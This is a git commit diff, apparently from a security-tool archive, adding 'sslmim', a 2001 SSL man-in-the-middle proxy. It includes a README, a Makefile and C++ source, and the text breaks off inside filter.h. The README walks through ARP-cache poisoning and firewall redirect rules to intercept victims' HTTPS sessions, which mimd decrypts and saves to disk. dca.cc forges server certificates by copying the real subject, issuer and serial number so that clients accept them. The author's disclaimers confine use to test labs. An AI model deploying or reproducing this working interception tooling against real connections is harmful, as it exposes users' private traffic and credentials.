summaryrefslogtreecommitdiff
path: root/other/sslmim
diff options
context:
space:
mode:
authorRoot THC2026-02-24 12:42:47 +0000
committerRoot THC2026-02-24 12:42:47 +0000
commitc9cbeced5b3f2bdd7407e29c0811e65954132540 (patch)
treeaefc355416b561111819de159ccbd86c3004cf88 /other/sslmim
parent073fe4bf9fca6bf40cef2886d75df832ef4b6fca (diff)
initial
Diffstat (limited to 'other/sslmim')
-rw-r--r--other/sslmim/Changelog21
-rw-r--r--other/sslmim/LICENSE31
-rw-r--r--other/sslmim/Makefile39
-rw-r--r--other/sslmim/README155
-rw-r--r--other/sslmim/VERSION3
-rw-r--r--other/sslmim/certfetch.cc112
-rw-r--r--other/sslmim/dca.cc234
-rw-r--r--other/sslmim/dca.h47
-rw-r--r--other/sslmim/filter.cc163
-rw-r--r--other/sslmim/filter.h43
-rw-r--r--other/sslmim/filterd.cc100
-rw-r--r--other/sslmim/forward.cc108
-rw-r--r--other/sslmim/forward.h40
-rw-r--r--other/sslmim/main.cc235
-rw-r--r--other/sslmim/misc.cc63
-rw-r--r--other/sslmim/misc.h46
-rw-r--r--other/sslmim/session.cc184
-rw-r--r--other/sslmim/session.h116
-rw-r--r--other/sslmim/socket.cc144
-rw-r--r--other/sslmim/socket.h55
20 files changed, 1939 insertions, 0 deletions
diff --git a/other/sslmim/Changelog b/other/sslmim/Changelog
new file mode 100644
index 0000000..6aa16c2
--- /dev/null
+++ b/other/sslmim/Changelog
@@ -0,0 +1,21 @@
10.62
2----
3
4+ Added serialnumber ripper
5+ Added VERSION file
6
70.61
8----
9
10+ Minor fixes
11
120.6
13---
14
15+ Added change_name(), now issuer-fake
16+ Changes DCA parsing
17
180.5
19---
20
21+ First working DCA version
diff --git a/other/sslmim/LICENSE b/other/sslmim/LICENSE
new file mode 100644
index 0000000..21ab53a
--- /dev/null
+++ b/other/sslmim/LICENSE
@@ -0,0 +1,31 @@
1/*
2 * Copyright (C) 2001 Sebastian Krahmer.
3 * All rights reserved.
4 *
5 * Redistribution and use in source and binary forms, with or without
6 * modification, are permitted provided that the following conditions
7 * are met:
8 * 1. Redistributions of source code must retain the above copyright
9 * notice, this list of conditions and the following disclaimer.
10 * 2. Redistributions in binary form must reproduce the above copyright
11 * notice, this list of conditions and the following disclaimer in the
12 * documentation and/or other materials provided with the distribution.
13 * 3. All advertising materials mentioning features or use of this software
14 * must display the following acknowledgement:
15 * This product includes software developed by Sebastian Krahmer.
16 * 4. The name Sebastian Krahmer may not be used to endorse or promote
17 * products derived from this software without specific prior written
18 * permission.
19 *
20 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY
21 * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
22 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
23 * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE
24 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
25 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
26 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
27 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
28 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
29 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
30 * SUCH DAMAGE.
31 */
diff --git a/other/sslmim/Makefile b/other/sslmim/Makefile
new file mode 100644
index 0000000..0b28056
--- /dev/null
+++ b/other/sslmim/Makefile
@@ -0,0 +1,39 @@
1# (C) 2001 by Sebastian Krahmer.
2#
3#
4
5# choose one of:
6# FREEBSD
7# LINUX22
8# LINUX24
9
10CXX=c++
11CFLAGS=-Wall -O2 -c -DLINUX24 #-ansi -pedantic
12
13.SUFFIXES: .o .cc
14
15.cc.o:
16 $(CXX) $(CFLAGS) $<
17
18all: echo filterd mimd cf
19
20cf: session.o certfetch.o
21 $(CXX) certfetch.o session.o -o cf -lssl -lcrypto
22
23filterd: socket.o misc.o filter.o filterd.o
24 $(CXX) socket.o misc.o filter.o filterd.o -o filterd
25
26mimd: session.o forward.o misc.o main.o socket.o dca.o
27 $(CXX) session.o forward.o misc.o main.o socket.o dca.o -o mimd -lssl -lcrypto
28
29clean:
30 rm -rf *.o
31
32echo:
33 @echo "Make sure you choose the right target-OS by defining either of";
34 @echo "LINUX22 (Linux, kernel 2.2),";
35 @echo "LINUX24 (Linux, kernel 2.4) or";
36 @echo "FREEBSD";
37 @echo "in the Makefile.";
38 @echo
39
diff --git a/other/sslmim/README b/other/sslmim/README
new file mode 100644
index 0000000..292963c
--- /dev/null
+++ b/other/sslmim/README
@@ -0,0 +1,155 @@
1SSL MiM proxy
2-------------
3
4legal stuff:
5
6By running this program you maybe break law in your country.
7This program is ment to understand how crypto (and SSL in special)
8works and how it can be disabled. You should never mount the attack
9on other persons connections.
10
11This program uses library (OpenSSL) Copyright by Eric Young.
12
13
14How to install
15-------------
16
17mimd/filterd runs only on linux 2.2 to 2.4 (and probably FreeBSD)
18by now.
19This is due to the way of getting the real destination of
20a redirected connection.
21Make sure you installed openssl and its accessible by gcc
22(libs and includes). Then just type 'make' and watch
23whats coming. Play with -I switches until it works. :)
24
25Edit Makefile and say which OS you are going to run mimd on.
26Add LINUX22 for Linux w/ kernel 2.2, LINUX24 and FREEBSD
27for kernel 2.4 and FreeBSD respectively.
28
29How to run
30----------
31
32This program allows you to mount the so called "Man in the Middle"
33attack against SSL connections. By doing that, "mimd" acts
34as fake-server for the attacked connection. It silently
35records the data sent and forwards it to its real destination
36(probably some https-server). To get in between the two parties,
37you need to set up a port forwarding rule on a machine that
38sits either directly between the two parties (so calld gateway)
39or that is 'made' the gateway by poisoning the arp-cache
40of the client. The rules look like
41
42(Linux, kernel 2.2)
43
44ipchains -A input -s 192.168.0.2 -d 0/0 -j REDIRECT 10000 -p tcp
45
46as shell command for linux. This will redirect all traffic from 192.168.0.2
47to our so called "filterd" program which sits on port 10000 and looks
48for SSL handshakes (that is when someone tries to start a SSL session).
49So, fire up filterd by
50
51filterd -p 10000
52
53It is now ready to watch whats coming. Add a new rule like
54
55(Linux, kernel 2.2)
56
57ipchains -A input -s 0/0 8888:10000 -d 0/0 994 -j REDIRECT 10001 -p tcp
58
59which will redirect all traffic sourced from port 8888 up to 10000 and
60destinated to port 994 (we expect a stunnel server on port 994 for
61example) to local
62port 10001. That are the connections which "filterd" recognized as SSL
63sessions. On port 10001 now we make the real "mimd" listen:
64
65mimd -p 10001 -C certfile -K keyfile
66
67which does the MiM attack itself. For that matter you need to create
68your own private key which is used during attack:
69
70CA.pl -newcert
71
72Which will put the (private) key and the certificate (containing public
73key) into file newreq.pem. So, in most cases certfile equals keyfile.
74CA.pl is shipped with OpenSSL package. Anyway, you need SSL thats clear.
75Make sure you enabled firewalling, forwarding
76and all the neat things in your kernel.
77In the current working directory of "mimd" you will find files
78"mim.*.*.*" which contain the decrypted data (client and server side).
79
80Recognized connections and errors are sys-logged.
81
82Since filterd only understands SSLv3 handshakes you may want
83to run mimd against your own https sessions directly to get SSLv2 too.
84Just set up the firewall-rules propperly and it works very well
85without filterd. I think its clear how to do ...
86
87You may want to see what your netescape is sending along the SSL stream
88to the https-server. 'mimd' is the perfect tool to monitor that
89session, (and its still encrypted by mimd!) and to look
90for suspicious data.
91
92For localhost-testing, you'd need to add rules like this:
93
94ipchains -A input -p tcp -d 0/0 443 -s 0/0 1000:3000 -j REDIRECT 10000
95
96for 2.2 kernels and
97
98iptables -t nat -A OUTPUT -p tcp --sport 1000:3000 --dport 443 -j REDIRECT --to-port 10000
99
100for 2.4 kernels
101
102and start mimd for port 10000. Because of localhost,
103you only redirect ports 1000 to 3000 (which you suspect to come
104from netescape) to mimd. Mimd itself binds to port 8888 and up
105and thus it doesn't loop!
106
107You can use the tool 'cf' to fetch the certificate of a SSL capable server.
108To analyze it, type smt. like
109
110cf 127.0.0.1 443|openssl x509 -text
111
112which gives you complete certificate text.
113
114
115FreeBSD 4.0 rule looks like
116
117ipfw 200 add fwd 127.0.0.1,10000 tcp from any to any 443
118
119to redirect https traffic to local port 10000.
120(Thanks to smiler.)
121
122DCA
123---
124
125Dynamic Certificate Assembly allows to place
126'apropriate' subject/issuer and serialnumber into X509-certificate
127upon HTTPS-request.
128At best create a certificate/key as described above
129and just fill in Country (C-field). For the rest
130give it a "." which leaves it empty. 'mimd' will
131put in the right data on the fly when invoked with -D switch.
132When using -D without -I, mimd will use subject name etc.
133and put it into corresponding issuer fields. This is good
134to remove issuers where netescape has apropriate public key.
135You can force using real issuer with -I switch. Mimd will then append
136a " " to the OU field, thus making it differ from real
137issuers and most clients won't use the saved key for
138verifying and accept the cert. This way you can tamper with
139connections which are 'protected' by commercial signers.
140
141AGAIN, I ASSUME YOU DO THAT IN YOUR OWN TEST-LABS TO STRENGTH
142SECURITY OR YOU USE THIS DURING PENETRATION TESTINGS.
143IT IS NOT ALLOWED TO MOUNT THIS ATTACK TO OTHER USERS
144CONNECTIONS IF THEY DO NOT AGREE.
145
146
147
148
149CREDITS
150-------
151
152Smiler for BSD firewalling stuff
153anonymous@segfault.net for secnet testlab.
154
155
diff --git a/other/sslmim/VERSION b/other/sslmim/VERSION
new file mode 100644
index 0000000..a4a0c73
--- /dev/null
+++ b/other/sslmim/VERSION
@@ -0,0 +1,3 @@
10.63
2
3
diff --git a/other/sslmim/certfetch.cc b/other/sslmim/certfetch.cc
new file mode 100644
index 0000000..ea71c09
--- /dev/null
+++ b/other/sslmim/certfetch.cc
@@ -0,0 +1,112 @@
1/*
2 * Copyright (C) 2001 Sebastian Krahmer.
3 * All rights reserved.
4 *
5 * Redistribution and use in source and binary forms, with or without
6 * modification, are permitted provided that the following conditions
7 * are met:
8 * 1. Redistributions of source code must retain the above copyright
9 * notice, this list of conditions and the following disclaimer.
10 * 2. Redistributions in binary form must reproduce the above copyright
11 * notice, this list of conditions and the following disclaimer in the
12 * documentation and/or other materials provided with the distribution.
13 * 3. All advertising materials mentioning features or use of this software
14 * must display the following acknowledgement:
15 * This product includes software developed by Sebastian Krahmer.
16 * 4. The name Sebastian Krahmer may not be used to endorse or promote
17 * products derived from this software without specific prior written
18 * permission.
19 *
20 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY
21 * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
22 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
23 * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE
24 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
25 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
26 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
27 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
28 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
29 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
30 * SUCH DAMAGE.
31 */
32#include <stdio.h>
33#include <openssl/ssl.h>
34#include <openssl/bio.h>
35#include <errno.h>
36
37#include <sys/types.h>
38#include <sys/socket.h>
39#include <netinet/in.h>
40#include <netdb.h>
41
42#include "session.h"
43
44int main(int argc, char **argv)
45{
46 struct hostent *he;
47 struct sockaddr_in sin;
48 BIO *bio;
49 X509 *x509;
50 int sfd;
51
52 if (argc < 3) {
53 printf("\ncf -- SSL certfetch (C) 2001 by Sebastian Krahmer\n\n");
54 printf("Usage: %s <host> <port>\n\n", *argv);
55 exit(1);
56 }
57
58 // Usual network stuff
59 if ((sfd = socket(PF_INET, SOCK_STREAM, 0)) < 0) {
60 perror("socket");
61 exit(errno);
62 }
63
64 if ((he = gethostbyname(argv[1])) == NULL) {
65 herror("gethostbyname");
66 exit(1);
67 }
68 memset(&sin, 0, sizeof(sin));
69 sin.sin_port = htons(atoi(argv[2]));
70 sin.sin_family = AF_INET;
71 memcpy(&sin.sin_addr.s_addr, he->h_addr, he->h_length);
72
73 if (connect(sfd, (struct sockaddr*)&sin, sizeof(sin)) < 0) {
74 perror("connect");
75 exit(errno);
76 }
77
78 // start client-session
79 CSession *sess = NULL;
80
81 try {
82 sess = new CSession;
83 } catch (int) {
84 fprintf(stderr, "%s", sess->why());
85 exit(1);
86 }
87
88 sess->start();
89 sess->fileno(sfd);
90 if (sess->connect() < 0) {
91 fprintf(stderr, "Host not SSL capable (handshake failed).\n");
92 exit(2);
93 }
94
95 // and lets get the certificate
96 x509 = SSL_get_peer_certificate(sess->ssl());
97
98 if (!x509) {
99 fprintf(stderr, "Host has no cert.\n");
100 exit(3);
101 }
102
103 // just print in readable form. :> 'openssl x509 -text < cert for
104 // analyzation must be done by you.
105 bio = BIO_new_fp(stdout, 0);
106 PEM_write_bio_X509(bio, x509);
107 BIO_flush(bio);
108
109 return 0;
110}
111
112
diff --git a/other/sslmim/dca.cc b/other/sslmim/dca.cc
new file mode 100644
index 0000000..9b42f0e
--- /dev/null
+++ b/other/sslmim/dca.cc
@@ -0,0 +1,234 @@
1/*
2 * Copyright (C) 2001 Sebastian Krahmer.
3 * All rights reserved.
4 *
5 * Redistribution and use in source and binary forms, with or without
6 * modification, are permitted provided that the following conditions
7 * are met:
8 * 1. Redistributions of source code must retain the above copyright
9 * notice, this list of conditions and the following disclaimer.
10 * 2. Redistributions in binary form must reproduce the above copyright
11 * notice, this list of conditions and the following disclaimer in the
12 * documentation and/or other materials provided with the distribution.
13 * 3. All advertising materials mentioning features or use of this software
14 * must display the following acknowledgement:
15 * This product includes software developed by Sebastian Krahmer.
16 * 4. The name Sebastian Krahmer may not be used to endorse or promote
17 * products derived from this software without specific prior written
18 * permission.
19 *
20 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY
21 * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
22 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
23 * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE
24 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
25 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
26 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
27 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
28 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
29 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
30 * SUCH DAMAGE.
31 */
32#include "session.h"
33#include "misc.h"
34#include <stdio.h>
35#include <string.h>
36#include <sys/types.h>
37#include <unistd.h>
38#include <openssl/ssl.h>
39#include <openssl/bio.h>
40#include <openssl/asn1.h>
41
42using namespace NS_Misc;
43
44extern bool use_subject_for_issuer;
45
46namespace NS_DCA {
47
48#ifndef MBSTRING_ASC
49#warning "You use outdated openssl lib."
50#define MBSTRING_ASC (0x1000|1)
51#endif
52
53// Note that 'subject' can be actually an issuer too.
54// both, subject and issuer change is done by that function
55char *change_name(X509_NAME *subject, char *peer_subject, bool ca_team)
56{
57 struct {
58 char C[256], ST[256], L[256], O[256], OU[256],
59 CN[256], Email[256];
60 } sub;
61 int len = 0;
62
63 memset(&sub, 0, sizeof(sub));
64 char *s = peer_subject;
65
66 // begin ugly parsing ...
67 if (strstr(s, "/C=")) {
68 s = strstr(s, "/C=") + 3;
69 len = strchr(s, '/') ? strchr(s, '/') - s : strlen(s);
70 memcpy(sub.C, s, len < 256 ? len : 255);
71 s += len;
72 }
73 if (strstr(s, "/ST=")) {
74 s = strstr(s, "/ST=") + 4;
75 len = strchr(s, '/') ? strchr(s, '/') - s : strlen(s);
76 memcpy(sub.ST, s, len < 256 ? len : 255);
77 s += len;
78 }
79
80 if (strstr(s, "/L=")) {
81 s = strstr(s, "/L=") + 3;
82 len = strchr(s, '/') ? strchr(s, '/') - s : strlen(s);
83 memcpy(sub.L, s, len < 256 ? len : 255);
84 s += len;
85 }
86
87 if (strstr(s, "/O=")) {
88 s = strstr(s, "/O=") + 3;
89 len = strchr(s, '/') ? strchr(s, '/') - s : strlen(s);
90 memcpy(sub.O, s, len < 256 ? len : 255);
91 s += len;
92 }
93
94 if (strstr(s, "/OU=")) {
95 s = strstr(s, "/OU=") + 4;
96 len = strchr(s, '/') ? strchr(s, '/') - s : strlen(s);
97 memcpy(sub.OU, s, len < 256 ? len : 255);
98 s += len;
99 }
100
101 if (strstr(s, "/CN=")) {
102 s = strstr(s, "/CN=") + 4;
103 len = strchr(s, '/') ? strchr(s, '/') - s : strlen(s);
104 memcpy(sub.CN, s, len < 256 ? len : 255);
105 s += len;
106 }
107
108 if (strstr(s, "/Email=")) {
109 s = strstr(s, "/Email=") + 7;
110 len = strchr(s, '/') ? strchr(s, '/') - s : strlen(s);
111 memcpy(sub.Email, s, len < 256 ? len : 255);
112 s += len;
113 }
114
115 if (sub.C[0])
116 X509_NAME_add_entry_by_txt(subject,"C",
117 MBSTRING_ASC, (unsigned char*)sub.C, -1, -1, -1);
118
119 if (sub.ST[0])
120 X509_NAME_add_entry_by_txt(subject,"ST",
121 MBSTRING_ASC, (unsigned char*)sub.ST, -1, -1, -1);
122
123 if (sub.L[0])
124 X509_NAME_add_entry_by_txt(subject,"L",
125 MBSTRING_ASC, (unsigned char*)sub.L, -1, -1, -1);
126
127 if (sub.O[0])
128 X509_NAME_add_entry_by_txt(subject,"O",
129 MBSTRING_ASC, (unsigned char*)sub.O, -1, -1, -1);
130
131 if (ca_team) {
132 char fake[1024];
133 memset(fake, 0, sizeof(fake));
134 snprintf(fake, sizeof(fake), "%s ", sub.OU);
135 X509_NAME_add_entry_by_txt(subject,"OU",
136 MBSTRING_ASC, (unsigned char*)fake, //"CA-Team",
137 -1, -1, -1);
138 } else {
139 X509_NAME_add_entry_by_txt(subject,"OU",
140 MBSTRING_ASC, (unsigned char*)sub.OU,
141 -1, -1, -1);
142 }
143
144 if (sub.CN[0])
145 X509_NAME_add_entry_by_txt(subject,"CN",
146 MBSTRING_ASC, (unsigned char*)sub.CN, -1, -1, -1);
147
148 if (sub.Email[0])
149 X509_NAME_add_entry_by_txt(subject,"Email",
150 MBSTRING_ASC, (unsigned char*)sub.Email, -1, -1, -1);
151
152 return strdup(sub.CN);
153}
154
155
156// Do the somewhat tricky dynamic certificate assembly
157// which puts "apropriate" subject and public key into
158// X509 cert.
159int do_dca(CSession *client, SSession *server)
160{
161 char l[1024];
162
163 X509 *peer_cert = SSL_get_peer_certificate(client->ssl());
164
165 if (!peer_cert) {
166 log("Nuts, no server-certificate");
167 return 0;
168 }
169
170 char *peer_subject = X509_NAME_oneline(
171 X509_get_subject_name(peer_cert), NULL, 0);
172 char *peer_issuer = X509_NAME_oneline(
173 X509_get_issuer_name(peer_cert), NULL, 0);
174
175 log(peer_subject);
176 log(peer_issuer);
177
178 // name of algo which is used by server
179 // (WE are client, and so 'client' is connection
180 // to real server
181 const char *algo = SSL_get_cipher(client->ssl());
182
183 snprintf(l, sizeof(l), "Using cipher %s", algo);
184 log(l);
185
186 // what we loaded with load_keys()
187 X509 *our_cert = SSL_get_certificate(server->ssl());
188
189 X509_NAME *subject = X509_get_subject_name(our_cert);
190 X509_NAME *issuer = X509_get_issuer_name(our_cert);
191
192 // built our cert w/ subject of orig server
193 char *name = change_name(subject, peer_subject, 0);
194 X509_set_subject_name(our_cert, subject);
195
196 // if we must 'touch' issuer, we will adopt the
197 // the subject for the issuer, so that i.e. veri-signed
198 // cert's become self-signed :)
199 if (use_subject_for_issuer)
200 change_name(issuer, peer_subject, 1);
201 else
202 change_name(issuer, peer_issuer, 1);
203
204 X509_set_issuer_name(our_cert, issuer);
205
206 // finally, set serialnumber
207 ASN1_INTEGER *serial = X509_get_serialNumber(peer_cert);
208
209
210 if (serial)
211 X509_set_serialNumber(our_cert, serial);
212 else
213 log("Nuts, no serialnumber!");
214
215 if (name) {
216 // save fake-cert
217 char save_cert[1024];
218 snprintf(save_cert, sizeof(save_cert), "./cert_of_%s.%d",
219 name, getpid());
220
221 FILE *f = fopen(save_cert, "w+");
222 if (!f)
223 return 0;
224 BIO *bio = BIO_new_fp(f, 0);
225 PEM_write_bio_X509(bio, our_cert);
226 BIO_flush(bio);
227 fclose(f);
228 free(name);
229 }
230 return 0;
231}
232
233}; // namespace NS_DCA
234
diff --git a/other/sslmim/dca.h b/other/sslmim/dca.h
new file mode 100644
index 0000000..aecf249
--- /dev/null
+++ b/other/sslmim/dca.h
@@ -0,0 +1,47 @@
1/*
2 * Copyright (C) 2001 Sebastian Krahmer.
3 * All rights reserved.
4 *
5 * Redistribution and use in source and binary forms, with or without
6 * modification, are permitted provided that the following conditions
7 * are met:
8 * 1. Redistributions of source code must retain the above copyright
9 * notice, this list of conditions and the following disclaimer.
10 * 2. Redistributions in binary form must reproduce the above copyright
11 * notice, this list of conditions and the following disclaimer in the
12 * documentation and/or other materials provided with the distribution.
13 * 3. All advertising materials mentioning features or use of this software
14 * must display the following acknowledgement:
15 * This product includes software developed by Sebastian Krahmer.
16 * 4. The name Sebastian Krahmer may not be used to endorse or promote
17 * products derived from this software without specific prior written
18 * permission.
19 *
20 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY
21 * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
22 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
23 * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE
24 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
25 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
26 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
27 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
28 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
29 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
30 * SUCH DAMAGE.
31 */
32
33#ifndef _DCA_H_
34#define _DCA_H_
35
36class CSession;
37class SSession;
38
39// Dynamic Certificate Assembly (DCA)
40namespace NS_DCA {
41
42int do_dca(CSession *, SSession *);
43
44};
45
46#endif // _DCA_H_
47
diff --git a/other/sslmim/filter.cc b/other/sslmim/filter.cc
new file mode 100644
index 0000000..c39510f
--- /dev/null
+++ b/other/sslmim/filter.cc
@@ -0,0 +1,163 @@
1/*
2 * Copyright (C) 1999/2000 Sebastian Krahmer.
3 * All rights reserved.
4 *
5 * Redistribution and use in source and binary forms, with or without
6 * modification, are permitted provided that the following conditions
7 * are met:
8 * 1. Redistributions of source code must retain the above copyright
9 * notice, this list of conditions and the following disclaimer.
10 * 2. Redistributions in binary form must reproduce the above copyright
11 * notice, this list of conditions and the following disclaimer in the
12 * documentation and/or other materials provided with the distribution.
13 * 3. All advertising materials mentioning features or use of this software
14 * must display the following acknowledgement:
15 * This product includes software developed by Sebastian Krahmer.
16 * 4. The name Sebastian Krahmer may not be used to endorse or promote
17 * products derived from this software without specific prior written
18 * permission.
19 *
20 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY
21 * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
22 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
23 * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE
24 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
25 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
26 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
27 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
28 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
29 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
30 * SUCH DAMAGE.
31 */
32
33#include "misc.h"
34#include "socket.h"
35
36#include <stdio.h>
37#include <sys/types.h>
38#include <sys/socket.h>
39#include <netinet/in.h>
40#include <sys/time.h>
41#include <unistd.h>
42#include <string.h>
43#include <errno.h>
44
45// since this is entered by new process each call
46// we must make itextern and increased by main()
47extern short inc;
48
49namespace NS_Filter {
50
51const char SSL_HANDSHAKE = 22;
52const char SSL_MAJOR3 = 3;
53const char SSL_CLIENTHELLO = 1;
54
55unsigned short portbase = 8888;
56
57using namespace NS_Misc;
58
59void check_and_forward(int server)
60{
61 struct sockaddr_in dst;
62 int client, r = 0;
63
64 // we are server. get real dest.
65 if (NS_Socket::dstaddr(server, &dst) < 0) {
66 log(NS_Socket::why());
67 die(NULL);
68 }
69
70 // calc. port to bind to
71 unsigned short port = portbase + (inc++ % (65000-portbase));
72
73 // make connection to real server
74 if ((client = socket(PF_INET, SOCK_STREAM, 0)) < 0) {
75 log("NS_Filter::check_and_forward::socket");
76 die(NULL);
77 }
78
79
80 fd_set rset;
81 FD_ZERO(&rset);
82 FD_SET(server, &rset);
83 struct timeval tv;
84 tv.tv_sec = 2;
85 tv.tv_usec = 0;
86
87 // watch if real client sends some data
88 if (select(server+1, &rset, NULL, NULL, &tv) < 0) {
89 log("NS_Filter::check_and_forward::select");
90 die(NULL);
91 }
92
93 char buf[4096];
94 memset(buf, 0, sizeof(buf));
95
96 // if so, check for SSLv3
97 if (FD_ISSET(server, &rset)) {
98 if ((r = read(server, buf, sizeof(buf))) < 0) {
99 log("NS_Filter::check_and_forward::read");
100 die(NULL);
101 }
102 if (buf[0] == SSL_HANDSHAKE &&
103 buf[1] == SSL_MAJOR3 &&
104 buf[5] == SSL_CLIENTHELLO &&
105 buf[9] == SSL_MAJOR3) { // got SSLv3 ?
106
107 // bind to special port to signal that
108 // SSL is coming
109 if (NS_Socket::bind_local(client, port, false) < 0) {
110 log(NS_Socket::why());
111 die(NULL);
112 }
113 log("Filtered SSL connection.");
114 }
115 }
116 // Now, do the connect, aftee we bound or not
117 if (connect(client, (struct sockaddr*)&dst, sizeof(dst)) < 0) {
118 log("NS_Filter::check_and_forward::connect");
119 die(NULL);
120 }
121
122 // If there was any data sent by client, flush it now
123 if (FD_ISSET(server, &rset))
124 write(client, buf, r);
125
126 int max = server > client ? server : client;
127 for (;;) {
128 // now, do the proxy
129 FD_ZERO(&rset);
130 FD_SET(server, &rset);
131 FD_SET(client, &rset);
132
133 if (select(max+1, &rset, NULL, NULL, NULL) < 0) {
134 if (errno == EINTR)
135 continue;
136 else {
137 log("NS_Filter::check_and_forward::select()");
138 die(NULL);
139 }
140 }
141
142 if (FD_ISSET(client, &rset)) {
143 r = read(client, buf, sizeof(buf));
144 if (r <= 0)
145 break;
146 if (write(server, buf, r) < 0)
147 break;
148 }
149 if (FD_ISSET(server, &rset)) {
150 errno = 0;
151 r = read(server, buf, sizeof(buf));
152 if (r <= 0)
153 break;
154 if (write(client, buf, r) < 0)
155 break;
156 }
157 }
158 close(client);
159 return;
160}
161
162}; // namespace
163
diff --git a/other/sslmim/filter.h b/other/sslmim/filter.h
new file mode 100644
index 0000000..4884414
--- /dev/null
+++ b/other/sslmim/filter.h
@@ -0,0 +1,43 @@
1/*
2 * Copyright (C) 1999/2000 Sebastian Krahmer.
3 * All rights reserved.
4 *
5 * Redistribution and use in source and binary forms, with or without
6 * modification, are permitted provided that the following conditions
7 * are met:
8 * 1. Redistributions of source code must retain the above copyright
9 * notice, this list of conditions and the following disclaimer.
10 * 2. Redistributions in binary form must reproduce the above copyright
11 * notice, this list of conditions and the following disclaimer in the
12 * documentation and/or other materials provided with the distribution.
13 * 3. All advertising materials mentioning features or use of this software
14 * must display the following acknowledgement:
15 * This product includes software developed by Sebastian Krahmer.
16 * 4. The name Sebastian Krahmer may not be used to endorse or promote
17 * products derived from this software without specific prior written
18 * permission.
19 *
20 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY
21 * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
22 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
23 * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE
24 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
25 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
26 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
